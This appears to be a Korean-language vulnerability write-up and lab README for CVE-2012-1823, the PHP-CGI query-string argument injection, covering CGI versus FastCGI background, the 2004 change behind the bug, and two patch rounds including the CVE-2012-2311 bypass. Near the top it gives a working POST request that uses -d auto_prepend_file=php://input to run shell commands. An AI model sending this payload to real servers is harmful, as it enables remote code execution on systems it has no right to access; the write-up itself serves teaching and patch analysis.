
Educational PoC and analysis of CVE-2012-1823, a PHP-CGI remote code execution vulnerability. Includes Docker-based test environment, exploit demonstration, and detailed technical breakdown of the root cause and bypasses.
컴파일 및 실행 환경:
docker-compose build
docker-compose up -d
환경 실행 후 http://your-ip:8080/에 접속하면 "Hello" 문구가 보입니다.
http://your-ip:8080/index.php?-s에 접속하면 소스 코드가 노출되며 취약점이 존재함을 확인할 수 있습니다. 다음 데이터 패킷을 전송하면 Body 내의 코드가 실행된 것을 볼 수 있습니다:
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: example.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
<?php echo shell_exec("id"); ?>
먼저 PHP의 실행 모드에 대해 소개하겠습니다.
PHP 소스 코드를 다운로드하면 sapi라는 디렉토리가 있는 것을 볼 수 있습니다. PHP에서 sapi의 역할은 메시지의 "전달자"와 비슷합니다. 예를 들어 제가《Fastcgi 프로토콜 분석 && PHP-FPM 무단 접근 취약점 && Exp 작성》글에서 소개한 fpm은 웹 컨테이너가 fastcgi 프로토콜로 캡슐화한 데이터를 받아 PHP 인터프리터에 전달하여 실행하는 역할을 합니다.
fpm 외에 가장 흔한 sapi는 Apache용 mod_php로, PHP와 Apache 간의 데이터 교환에 사용됩니다.
php-cgi도 하나의 sapi입니다. 초기에는 웹 애플리케이션의 실행 방식이 매우 간단했습니다. 웹 컨테이너가 HTTP 데이터 패킷을 받으면 사용자가 요청한 파일(cgi 스크립트)을 가져와 하위 프로세스(인터프리터)를 생성(fork)하여 해당 파일을 실행하고, 실행 결과를 받아 사용자에게 직접 반환한 후 인터프리터 하위 프로세스는 종료됩니다. bash, perl 등의 언어 기반 웹 애플리케이션은 대부분 이러한 방식으로 실행되며, 이러한 실행 방식을 일반적으로 CGI라고 합니다. Apache를 설치할 때 기본적으로 cgi-bin 디렉토리가 있으며, 원래는 이러한 cgi 스크립트를 저장하는 데 사용되었습니다.
그러나 CGI 모드에는 치명적인 단점이 있습니다. 알려진 바와 같이 프로세스 생성 및 스케줄링에는 일정한 비용이 들고 프로세스 수는 무한하지 않습니다. 따라서 CGI 모드로 실행되는 웹 사이트는 일반적으로 동시에 많은 요청을 처리할 수 없습니다. 각 요청마다 하위 프로세스가 생성되면 서버가 과부하될 수 있기 때문입니다. 그래서 나중에 fastcgi가 등장했습니다. fastcgi 프로세스는 백그라운드에서 계속 실행되면서 fastcgi 프로토콜을 통해 데이터 패킷을 받고 실행 후 결과를 반환하지만, 자신은 종료되지 않습니다.
PHP에는 php-cgi라는 sapi가 있으며, php-cgi는 두 가지 기능을 제공합니다. 첫째는 CGI 방식의 상호 작용, 둘째는 fastcgi 방식의 상호 작용입니다. 즉, perl처럼 웹 컨테이너가 직접 php-cgi 프로세스를 생성(fork)하여 특정 스크립트를 실행하게 하거나, 백그라운드에서 php-cgi -b 127.0.0.1:9000 (php-cgi를 fastcgi 관리자로) 실행한 후 웹 컨테이너가 fastcgi 프로토콜을 사용하여 9000 포트와 통신하도록 할 수 있습니다.
그렇다면 앞서 말한 fpm은 무엇일까요? 왜 PHP에는 두 개의 fastcgi 관리자가 있을까요? PHP에는 실제로 두 개의 fastcgi 관리자가 있습니다. php-cgi는 fastcgi 모드로 실행될 수 있고, fpm도 fastcgi 모드로 실행됩니다. 그러나 fpm은 PHP 5.3 버전 이후에 도입된 더 효율적인 fastcgi 관리자입니다. 그 많은 장점에 대해서는 여기서 자세히 설명하지 않겠습니다. 직접 소스 코드를 살펴보시기 바랍니다. fpm의 장점이 더 많기 때문에 점점 더 많은 웹 애플리케이션이 PHP를 실행하기 위해 php-fpm을 사용하고 있습니다.
이제 본 취약점으로 돌아가겠습니다. CVE-2012-1823은 php-cgi SAPI에서 발생한 취약점입니다. 위에서 php-cgi가 제공하는 두 가지 실행 방식(CGI와 fastcgi)을 소개했습니다. 이 취약점은 CGI 모드로 실행되는 PHP에서만 발생합니다.
간단히 말해서 이 취약점은 사용자가 요청한 쿼리 문자열(query string)이 php-cgi의 매개변수로 전달되어 일련의 결과를 초래합니다.
원리를 살펴보면 RFC3875에는 쿼리 문자열에 디코딩되지 않은 = 기호가 포함되지 않은 경우 쿼리 문자열을 CGI 매개변수로 전달해야 한다고 명시되어 있습니다. 따라서 Apache 서버는 이 요구 사항을 구현했습니다.
그러나 PHP는 이 RFC 규칙을 인지하지 못했습니다. 아마도 한때 인지하고 처리했을 수도 있으며, 처리 방법은 웹 컨텍스트에서 매개변수를 허용하지 않는 것이었습니다. 그런데 2004년에 한 개발자가 다음과 같은 발언을 했습니다.
From: Rasmus Lerdorf <rasmus <at> lerdorf.com>
Subject: [PHP-DEV] php-cgi command line switch memory check
Newsgroups: gmane.comp.php.devel
Date: 2004-02-04 23:26:41 GMT (7 years, 49 weeks, 3 days, 20 hours and 39 minutes ago)
In our SAPI cgi we have a check along these lines:
if (getenv("SERVER_SOFTWARE")
|| getenv("SERVER_NAME")
|| getenv("GATEWAY_INTERFACE")
|| getenv("REQUEST_METHOD")) {
cgi = 1;
}
if(!cgi) getopt(...)
As in, we do not parse command line args for the cgi binary if we are
running in a web context. At the same time our regression testing system
tries to use the cgi binary and it sets these variables in order to
properly test GET/POST requests. From the regression testing system we
use -d extensively to override ini settings to make sure our test
environment is sane. Of course these two ideas conflict, so currently our
regression testing is somewhat broken. We haven't noticed because we
don't have many tests that have GET/POST data and we rarely build the cgi
binary.
The point of the question here is if anybody remembers why we decided not
to parse command line args for the cgi version? I could easily see it
being useful to be able to write a cgi script like:
#!/usr/local/bin/php-cgi -d include_path=/path
<?php
...
?>
and have it work both from the command line and from a web context.
As far as I can tell this wouldn't conflict with anything, but somebody at
some point must have had a reason for disallowing this.
-Rasmus
분명히 이 개발자는 #!/usr/local/bin/php-cgi -d include_path=/path와 같은 형식으로 테스트를 쉽게 하기 위해 php-cgi가 명령줄 인수를 받는 것을 제한해서는 안 된다고 생각했으며, 이 기능이 다른 코드와 충돌하지 않는다고 보았습니다.
결국 if(!cgi) getopt(...) 줄이 삭제되었습니다.
그러나 RFC의 명령줄에 대한 설명에 따르면 명령줄 인수는 #!/usr/local/bin/php-cgi -d include_path=/path 방식으로 php-cgi에 전달될 수 있을 뿐만 아니라 쿼리 문자열을 통해서도 전달될 수 있습니다.
이것이 이 취약점의 역사적 배경입니다.
그렇다면 명령줄 매개변수를 제어할 수 있으면 어떤 일을 할 수 있을까요?
소스 코드를 읽어보면 CGI 모드에서 다음과 같은 매개변수를 사용할 수 있습니다.
-c php.ini 파일의 위치 지정-n php.ini 파일을 로드하지 않음-d 설정 항목 지정-b fastcgi 프로세스 시작-s 파일 소스 코드 표시-T 지정된 횟수만큼 파일 실행-h 및 -? 도움말 표시가장 간단한 활용 방법은 당연히 -s를 사용하여 소스 코드를 직접 표시하는 것입니다.

그러나 제가 작성한 fastcgi 글을 읽어본 분들은 더 좋은 활용 방법을 빠르게 떠올렸을 것입니다. -d를 사용하여 auto_prepend_file을 지정함으로써 임의 파일 포함 취약점을 만들어 임의 코드를 실행하는 것입니다.

참고: 공백은 + 또는 %20으로 대체하고, =는 URL 인코딩으로 대체합니다.
이 취약점이 공개된 후 PHP 공식에서 수정하여 새 버전 5.4.2 및 5.3.12를 출시했습니다. 그러나 이 수정은 완전하지 않았으며 우회가 가능하여 CVE-2012-2311 취약점이 파생되었습니다.
PHP의 수정 방법은 -를 검사하는 것이었습니다.
if(query_string = getenv("QUERY_STRING")) {
decoded_query_string = strdup(query_string);
php_url_decode(decoded_query_string, strlen(decoded_query_string));
if(*decoded_query_string == '-' && strchr(decoded_query_string, '=') == NULL) {
skip_getopt = 1;
}
free(decoded_query_string);
}
즉, 쿼리 문자열을 가져와 디코딩한 후 첫 번째 문자가 -이면 skip_getopt를 설정하여 명령줄 인수를 가져오지 않도록 합니다.
이 수정 방법이 안전하지 않은 이유는 운영자가 php-cgi를 한 번 래핑한 경우입니다.
#!/bin/sh
exec /usr/local/bin/php-cgi $*
공백 문자와 -를 사용하여 인수를 전달할 수도 있습니다. 이때 쿼리 문자열의 첫 번째 문자는 공백 문자이므로 -가 아니어서 위 검사를 우회합니다.
따라서 PHP 5.4.3 및 5.3.13에서 다음과 같이 수정되었습니다.
if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {
/* we've got query string that has no = - apache CGI will pass it to command line */
unsigned char *p;
decoded_query_string = strdup(query_string);
php_url_decode(decoded_query_string, strlen(decoded_query_string));
for (p = decoded_query_string; *p && *p <= ' '; p++) {
/* skip all leading spaces */
}
if(*p == '-') {
skip_getopt = 1;
}
free(decoded_query_string);
}
먼저 모든 공백 문자(공백보다 작거나 같은 모든 문자)를 건너뛴 후 첫 번째 문자가 -인지 확인합니다.